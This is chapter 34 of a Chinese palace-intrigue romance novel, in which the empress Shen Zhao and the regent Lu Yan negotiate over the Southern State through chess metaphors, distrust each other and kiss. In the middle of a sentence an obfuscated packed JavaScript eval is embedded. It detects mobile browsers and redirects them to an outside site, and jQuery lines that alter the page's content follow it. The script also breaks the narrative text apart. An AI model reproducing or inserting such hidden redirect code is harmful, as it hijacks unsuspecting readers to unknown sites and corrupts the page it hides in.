34. 月下

作品:《总有权臣以下犯上

    若有人在早先告诉沈昭,她会在未央宫最偏僻的梧桐影里,与陆衍平心静气地吃茶赏月,商讨如何不动声色地掀翻南国。


    她大约会先把人扔进天牢,用上各种刑罚逼问他主子是谁,再嘲一句“痴人说梦”。


    可此刻,梦就在眼前。


    茶是今岁新贡的洞庭“惊白鹭”,水取自昨夜新蓄的叶露,滚过炭火,发出细碎爆裂声。


    沈昭挽袖提壶,水线如银,茶香乍起,雾色缭绕,映得她眉睫淡然似画。


    未央宫内灯火阑珊,是陆衍刻意熄了几盏烛灯,他坐在沈昭对面,半倚着椅背,垂眼看她斟茶。


    他唇角噙着笑,似是很愉悦沈昭将他带进了未央宫,还亲自煮茶。


    他知道的,因为庄懿皇后喜好烹茶,沈昭称得上精通茶艺,也爱品茶。


    “尝尝。”


    她将第一盏推过去,陆衍两指托住杯底,先闻后抿,喉结微动,半晌才道,“苦。”


    “苦才醒神。”


    沈昭给自己也斟半盏,轻呷一口,又缓缓将杯盏放下。


    “南国的事宜相谈得差不多了,摄政王喝完茶便请回吧。”


    沈昭心里万分懊悔,方才怎么就脑子一热,应允了陆衍入殿,还邀请他一同饮茶。


    那股莫名的冲动很快消散,沈昭沉默下来,只等着早些将茶喝完,陆衍可以主动一点告辞。


    可她到底是高估了陆衍的脸皮。


    陆衍心定神闲地坐着,也不说话,单就饮茶,一点一点浅抿,硬是拖着不走。


    茶过三巡,月已中天,梧桐叶上积了薄露,偶有风过,便簌簌落下,砸在竹亭顶,细不可闻。


    远处更鼓三声,宫墙之外,万家灯火纷纷沉寂。


    夜色撩人,沈昭望向墨蓝天幕,声音轻得似自语,“陆衍,朕有时觉得,这局棋越走越黑,黑到连自己也看不清棋子原本的颜色。”


    陆衍随她目光看去,天穹如盖,星子疏疏落落,像是谁随手撒落的一把残棋。


    他低笑,无所谓道,“看不清颜色,就记住形状,陛下只要记得,自己是‘将’,便足够了。”


    “那你是哪一枚?”


    沈昭回头看向陆衍,眸色直白锐利,直直地望进他眼底那片深不见底的湖泊。


    前些日子,纪成玉托沉璧送来了一盏小小的铜灯,挂在殿内的梁上,灯罩是旧银纱,被烛火一映,竟显出温润的玉色。


    陆衍姿态散漫,发丝早已散落,意外地削减了他相貌中的攻击性,显现出与他气质不符的温润,却偏偏不突兀。


    那双桃花眼在流光里摄人心魄,沈昭的心跳竟不自觉加快,手也微微攥紧了些许。


    陆衍没有丝毫犹豫,伸指在桌上画下一字,并状似无意地,轻轻压住她的袖摆。


    车。


    横冲直撞,过界无悔。


    沈昭垂眼,纤长的睫毛如折翅的蝶翼般轻颤,“车若过河,便无退路。”


    “陛下,臣从不打算退。”


    陆衍直视她,双眼里映着灯火,照得他眼尾那粒泪痣愈发鲜明,“陛下若把‘将’往后挪半格,臣便敢横扫全盘。”


    沈昭微怔,半晌才懂他话中之意。


    棋盘上的将,做不到在前线冲锋陷阵,往后半格,是避一避锋芒,也是给自己留一线生路。


    她的指尖在案上轻敲,声音渐渐低下去,“朕……还需要再想想。”


    话如此说,显得她是在考虑陆衍的话。


    可她实则,还是不信任他。


    沈昭心里讽笑一声,只觉得无力感侵袭了全身,将她的力气抽空。


    她已经想办法了,想办法单靠自己,培养属于她的势力,夺取属于她的权柄,打下属于她的江山,让史书上记下属于她的功勋。


    可为什么,她所做的一切,都还在陆衍的控制之中?就好像她抢来的这些,从头到尾都不过是他的默许。


    他猜得到她的心思,知道她想做什么,想要什么,落子如何,甚至予以配合。


    这不是助力,不是扶持,这是变相的控制。


    像是在警告沈昭:陛下您看,您做什么,都没办法彻彻底底摆脱我,那不若就乖乖听话,做个傀儡不好吗?


    陆衍似有所觉,不再逼她,只伸手将她侧脸垂落的发丝别到耳后,指尖擦过她耳廓,带起一点酥麻。


    沈昭没躲,任他动作,呼吸却不自觉放轻,像是怕惊扰到什么。


    似是怕一个不小心,这场梦便破碎了。


    “陛下,有些棋,不必落子,心照不宣便足够了。”


    是他们心照不宣,是他们心有灵犀,也是他们,杂乱纷繁的感情交织扭曲,搅乱棋中局,将清醒的执棋人拽入漩涡,溺毙其中。


    不能动心,不能纵容真情,不能信任他。


    但……她可以利用他的真心。


    沈昭从背叛中学到的,便是真心瞬息万变,真心一文不值。


    陆衍对她感兴趣,这恰好是她可以乘势而上的东风,若这份不知重量厚度的感情能成为她的垫脚石,她做出一些牺牲,无可厚非。


    也无伤大雅。


    沈昭终于开口,声音清浅,带着似有若无的蛊惑,“陆衍,南国一事,你可愿帮朕?”


    陆衍眼底飞快地闪过丝情绪,可他掩藏得太快,沈昭还未来得及分辨,就已经恢复成平常轻佻随意的模样。


    “既然陛下开口了,那臣定当为陛下的宏图伟业竭心尽力,无论付出多大的代价也在所不惜。”


    他惯会做戏,答的是客套话,却眼神真挚,表情诚恳。


    沈昭盯着陆衍看了半晌,突然伸手,微凉的手抚上他的侧脸,大拇指轻蹭两下。


    她唇角缓缓勾起一抹温和的弧度,笑意却不达眼底。


    “好啊,朕信你。”


    睁眼说瞎话。


    沈昭的手触碰到的那一瞬间,陆衍瞳孔骤缩,却极快地反应过来,心里泛起自嘲的清醒。


    也是,如果不是为了利用他,她又怎么会主动亲近他,甚至做出这般暧昧的举动。


    往常都是他主动,向她迈了无数步,难得她向他走近了一步,却是视他为棋。


    无所谓,他很容易满足,他不贪心……


    她需要他,她利用他,证明她看中他,他对她有价值。


    不然她为何不利用别人只利用他?


    那就只能证明,她心里有他。


    他不贪心,不贪心,不贪心……


    不贪心才怪。


    陆衍双眼一凛,一把攥住沈昭还未来得及收回去的手,让她严丝合缝地和他贴合在一起。


    然后脸往她手心里轻蹭,薄唇似有若无地擦过她手腕内侧,热气落在那片敏感的肌肤上。


    “能得陛下信任,是臣之幸。”


    他不需要再说什么,一下一下轻啄她的手腕,牙齿衔住一小块皮肤,不轻不重地啃咬。


    沈昭憋着一口气,坚持着不把手抽回来,手指僵硬到指节微白,“陆衍,你总这样。”


    “怎样?”


    闻言,陆衍喉结滚动两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367364|181539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下,厮磨着那点温热,哑声问她。


    “先斩后奏,先做了,再问朕要不要,又或者是什么也不做,等着朕来问你。”


    就像这次,他在对弈时操纵人心,笑看她在对面执棋,一步步走进他早已铺陈好的陷阱,到最后还要付出代价,问他“你可愿帮朕”。


    陆衍也笑,就着亲吻她手腕的姿势抬眼,目光落在她唇角,那一点风华,像雪里绽开的第一朵春花。


    “因为臣知道,臣若先开口,陛下一定会说‘不必’,狠心拒绝臣的一片真心。”


    沈昭笑意淡下去,避开他直勾勾的视线,看杯中茶叶沉浮,心思却不在上面。


    “你说得对,朕会说‘不必’。”


    因为她不敢要。


    要了,就得承认,自己并非她渴望的无所不能。


    要了,就得预留一条退路,以便将来向陆衍挥刀时,不至于手软。


    要了,就证明她对陆衍的感情不是纯粹的恨,而是掺杂了连她自己都没察觉到的依赖。


    或许是有些自尊病,沈昭的傲骨,决不允许她在此刻、在陆衍面前示弱。


    可陆衍从不给她退路。


    他像一柄递到她手里的刀,刀刃对着自己,刀柄缠着亲手系上的红绫,将沈昭的手同自己紧紧交合在一起。


    她若挥刀,他流血。


    她若停手,他仍流血。


    只因那刀尖早已长进他骨血里,剜不出,剔不掉,动辄撕心裂肺,痛到灵魂痉挛。


    可沈昭显然意识不到这一点,在她眼里心里,陆衍从来都只是一枚,随时可以利用的棋。


    月色西斜,铜灯里的火芯“啪”地爆了个灯花。


    沈昭忽然伸手,将杯中残茶一饮而尽,浅淡的苦涩与回甘一并滚过喉头。


    “陆衍,等南国事了,朕许你一个心愿。”


    良久无声。


    她以为他不会答,却听身前极轻一笑,像自嘲,又像叹息。


    “好啊,臣便谢过陛下,只盼陛下那时说话算话,无论臣说了什么,都能应允。”


    沈昭眸色晦暗不明,“朕金口玉言。”


    陆衍握着她的手不动,缓缓倾身,和沈昭的距离越来越近,“陛下,臣这个兵卒,用得可还顺手?是不是比那些蝇营狗苟更好?”


    鼻尖轻轻抵在一处,近在咫尺,呼吸可闻,两双同样摄人心魄的眼睛胶着对望。


    “陛下,臣想吻你。”


    修长的手缓缓靠近,沈昭瞳孔微缩,还没来得及向后躲避,便被陆衍扣着后脑拉了回去,唇瓣相触,并逐渐深入。


    “唔……”


    有细碎的声音被吞没,陆衍不知何时站起身来,一手撑在面前的桌案上方便他的靠近,一手掌在沈昭后脑,主导着这个吻。


    唇舌交缠,沈昭被迫仰着头,有些喘不上气,不自觉咬了陆衍肆虐的舌尖。


    “嘶……”


    陆衍轻轻喘了一声,松开了沈昭,给了她时间喘息,然后又温柔地覆了上去。


    陷入爱河的人往往只在河水快要漫过自己的时候,才能意识到自己的情感。


    幸好。


    陆衍吮着沈昭柔软的唇瓣,两只手捧起她的脸,见沈昭微蹙着眉,却没有明显的抵触,他闭上眼,几不可察地轻叹一声,将这个吻进行得更深。


    他不是在自己无可自拔的时候意识到这点,而是在曾经,在很久很久以前。


    或许……


    说他早已深陷其中,无可救药,焚尽理智,自暴自弃,会更贴切些。